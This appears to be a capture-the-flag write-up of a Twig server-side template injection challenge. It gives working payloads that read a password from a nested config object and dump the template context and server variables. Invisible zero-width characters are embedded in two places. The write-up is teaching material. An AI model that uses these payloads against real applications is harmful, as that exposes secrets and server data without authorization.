SSTI hard

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: ssti_config_extraction, ssti_nested_variable_access

Summary

Walkthrough of the CUSTOM Web SSTI hard. Advanced version of SSTI in Twig. The password is not directly accessible in the template context, but is stored in a nested config object/array.

Description

Advanced version of SSTI in Twig. The password is not directly accessible in the template context, but is stored in a nested config object/array.

URL: http://kslweb3.spb.ctf.su/2-5/

Analysis

Unlike the simple version, the password variable is not directly accessible in the template context. However, in Twig, application configuration objects are often available.

Typical locations for secrets in Twig:

• config.password
• app.config.secret
• _context
• app.request.server ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

1. Verify SSTI: {{7*7}} → 49
2. Try {{password}} — doesn't work or returns empty
3. Try accessing nested variables: {{config.password}} — get the flag

Payload

{{config.password}}

Alternative payloads for reconnaissance

 twig read-only • copy allowed Copy
{{_self}}
{{_context|keys}}
{{dump()}}
{{app.request.server.all|join(',')}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering ssti_config_extraction, ssti_nested_variable_access was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • SSTI hard • Difficulty: Medium